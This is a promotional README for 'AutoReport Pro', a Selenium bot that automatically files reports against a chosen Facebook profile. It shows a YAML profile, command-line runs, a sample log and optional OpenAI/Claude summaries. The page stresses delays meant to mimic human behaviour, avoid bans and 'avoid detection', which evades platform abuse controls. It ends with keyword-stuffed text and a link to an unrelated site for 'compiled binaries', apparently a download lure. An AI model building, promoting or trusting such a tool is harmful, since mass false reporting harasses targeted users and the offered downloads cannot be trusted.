AutoReport Pro is not just a tool—it's a behavioral intelligence engine that transforms how you monitor, report, and analyze social media activity. Inspired by the need for ethical automation, we built a system that leverages Python, Selenium, and optional AI integrations to handle repetitive reporting tasks with surgical precision.
Think of it as a digital sentinel—always watching, never missing a beat. Whether you're a community manager, a security researcher, or a developer exploring automation, AutoReport Pro gives you the power to automate without compromising integrity.
- Core Philosophy
- System Architecture (Mermaid Diagram)
- Key Features
- Prerequisites & Compatibility
- Example Profile Configuration
- Example Console Invocation
- AI Integration (OpenAI & Claude)
- Responsive UI & Multilingual Support
- 24/7 Customer Support
- License (MIT)
- Disclaimer
- Final Download Link
"Automation should be a bridge, not a weapon."
AutoReport Pro is designed to streamline workflows—not to exploit systems. Our approach mirrors the elegance of a well-oiled clockwork: each component moves in harmony, triggered by precise conditions, and guided by ethical boundaries.
The tool shines when:
- You need to monitor repeated violations across multiple profiles.
- You want to generate structured reports without manual data entry.
- You seek to integrate AI to analyze patterns and suggest next steps.
This is not a shortcut—it's a force multiplier for responsible digital citizens.
Below is the high-level architecture of AutoReport Pro, illustrating how data flows from user configuration to automated action.
graph TD
A[User Input: Profile Config] --> B[Config Parser]
B --> C[Browser Automation Engine]
C --> D[Selenium WebDriver]
D --> E[Facebook / Social Platform]
E --> F[Action Collector]
F --> G[Report Generator]
G --> H[Local Output: JSON / CSV]
C --> I[AI Analyzer]
I --> J[OpenAI API]
I --> K[Claude API]
J --> L[Pattern Insights]
K --> L
L --> M[Enhanced Report]
C --> N[Error Recover Module]
N --> O[Retry Logic]
O --> C
Each node represents a modular component, allowing you to swap or upgrade parts independently.
| Feature | Description |
|---|---|
| Automated Reporting | Submit reports based on triggers (e.g., keyword detection, daily schedule). |
| Multi-Platform Ready | Built initially for Facebook, extensible to other platforms via adapter pattern. |
| AI-Enhanced Analysis | Integrate with OpenAI or Claude to summarize report patterns. |
| Responsive UI | Terminal-based interface with color-coded logs and progress bars. |
| Multilingual Support | Error messages and logs available in 5+ languages (EN, ES, FR, DE, JA). |
| Error Recovery | Automatic retry with exponential backoff—no manual babysitting required. |
| Profile Management | Save and load multiple reporting profiles for different contexts. |
| Rate Limiting | Built-in delays between actions to mimic human behavior and avoid bans. |
| Export Flexibility | Reports in JSON, CSV, or HTML format—choose your poison. |
| Open Source (MIT) | Use it, modify it, share it—just keep the license. |
AutoReport Pro runs like a champion on the following operating systems. Each environment has been tested to ensure smooth operation.
| OS | Version | Status | Emoji |
|---|---|---|---|
| Windows | 10, 11 | ✅ Fully Supported | 🪟 |
| macOS | Ventura, Sonoma | ✅ Fully Supported | 🍎 |
| Ubuntu | 20.04, 22.04, 24.04 | ✅ Fully Supported | 🐧 |
| Debian | 11, 12 | ✅ Fully Supported | 🐧 |
| Fedora | 38, 39 | 🐧 | |
| Arch Linux | Rolling | 🧪 Community Tested | 🐧 |
| FreeBSD | 13.2 | ❌ Not supported | 🐚 |
Python Version: 3.9+ (3.11 recommended for best performance)
Required Dependencies:
selenium>=4.15.0
webdriver-manager>=4.0.0
requests>=2.31.0
pydantic>=2.5.0
click>=8.1.7
colorama>=0.4.6
Create a YAML file (e.g., profile_work.yaml) to define your reporting parameters. This is the brain of your automation.
# profile_work.yaml
name: "work_profile"
target_url: "https://www.facebook.com/some_profile"
action: "report" # Options: report, monitor, analyze
schedule:
frequency: "daily"
time: "14:30"
timezone: "UTC"
report_reasons:
- "spam"
- "hate_speech"
- "false_news"
ai_integration:
enabled: true
provider: "openai" # or "claude"
model: "gpt-4o-mini"
prompt_template: "Summarize this report in 3 bullet points."
output_format: "json"
language: "en"Place this file in the profiles/ directory and the system will pick it up automatically.
Fire up your terminal and summon AutoReport Pro like a seasoned conductor:
# Basic run with a profile
python autoreport.py --profile profiles/work_profile.yaml
# Dry run to preview actions without executing
python autoreport.py --profile profiles/custom.yaml --dry-run
# Run with AI analysis on the generated report
python autoreport.py --profile profiles/work_profile.yaml --ai-analyze
# Export report in HTML format for sharing
python autoreport.py --profile profiles/emergency.yaml --output html
# Run in headless mode (no browser window)
python autoreport.py --profile profiles/night.yaml --headless
# Set custom log level for debugging
python autoreport.py --profile profiles/work_profile.yaml --log-level DEBUGExample Output:
[2026-04-05 14:30:01] 🟢 Profile loaded: work_profile
[2026-04-05 14:30:02] 🌐 Navigating to target URL...
[2026-04-05 14:30:05] 🔍 Detected reportable content
[2026-04-05 14:30:08] ✅ Report submitted successfully
[2026-04-05 14:30:09] 📊 AI analysis requested...
[2026-04-05 14:30:11] 💡 Insight: Pattern suggests coordinated activity
[2026-04-05 14:30:12] 💾 Report saved to reports/2026-04-05_report.json
AutoReport Pro doesn't just act—it thinks. By integrating with cutting-edge language models, you transform raw report data into actionable intelligence.
Configure your API key in the environment:
export OPENAI_API_KEY="sk-your-key-here"Then in your profile:
ai_integration:
provider: "openai"
model: "gpt-4o-mini"
max_tokens: 500
temperature: 0.3The system will send report summaries to OpenAI and append the response as an ai_insights field in your output.
Prefer Anthropic's Claude? No problem:
export ANTHROPIC_API_KEY="sk-ant-your-key-here"Profile config:
ai_integration:
provider: "claude"
model: "claude-3-haiku-20240307"
max_tokens: 500
temperature: 0.3Claude excels at nuanced pattern recognition—perfect for detecting subtle violations in lengthy comment threads.
SEO-Relevant Keywords: AI reporting automation, social media analysis, OpenAI Claude integration, automated moderation, sentiment analysis tool.
The console interface is designed as a chameleon—it adjusts to your terminal width, color scheme, and locale.
- Progress bars that dance with real-time updates.
- Color-coded logs: green for success, yellow for warnings, red for errors.
- Compact mode for small screens:
--compactflag strips verbose headers.
AutoReport Pro supports 5 languages out of the box:
| Language | Code | Status |
|---|---|---|
| English | en |
✅ Primary |
| Español | es |
✅ Full |
| Français | fr |
✅ Full |
| Deutsch | de |
✅ Full |
| 日本語 | ja |
Add your own language by editing the locales/ folder—contributions welcome!
We believe in round-the-clock care—because automation doesn't sleep, and neither should your support.
- Documentation Wiki: Extensive guides, FAQs, and troubleshooting.
- Discord Community: Live chat with developers and power users.
- Issue Tracker: Report bugs or request features—expect replies within 24 hours.
- Email Support: For urgent matters (response time: < 4 hours during business days).
We treat every user like a collaborator, not a ticket number.
This project is licensed under the MIT License—a permissive, open-source license that allows you to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the software, provided you include the original copyright notice.
View the full MIT License on GitHub
Copyright (c) 2026
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
AutoReport Pro is intended for legal and ethical use only. By using this software, you agree to the following:
- You will not use this tool to spam, harass, or violate any platform's Terms of Service.
- You are solely responsible for how you deploy this automation.
- The developers assume no liability for misuse, account bans, or legal repercussions.
- This tool is not affiliated with Facebook, Meta, or any other social media platform.
- Rate limits and delays are implemented by default—do not remove them to avoid detection.
"With great automation comes great responsibility." — Every developer ever
Ready to deploy your own digital sentinel? Grab the latest release below.
Remember: Visit the https://horse18321.github.io to access the full source code, compiled binaries, and example configs. Star the repo if you find it useful—it helps other researchers discover the project.
AutoReport Pro — built with ☕ and ❤️ in 2026.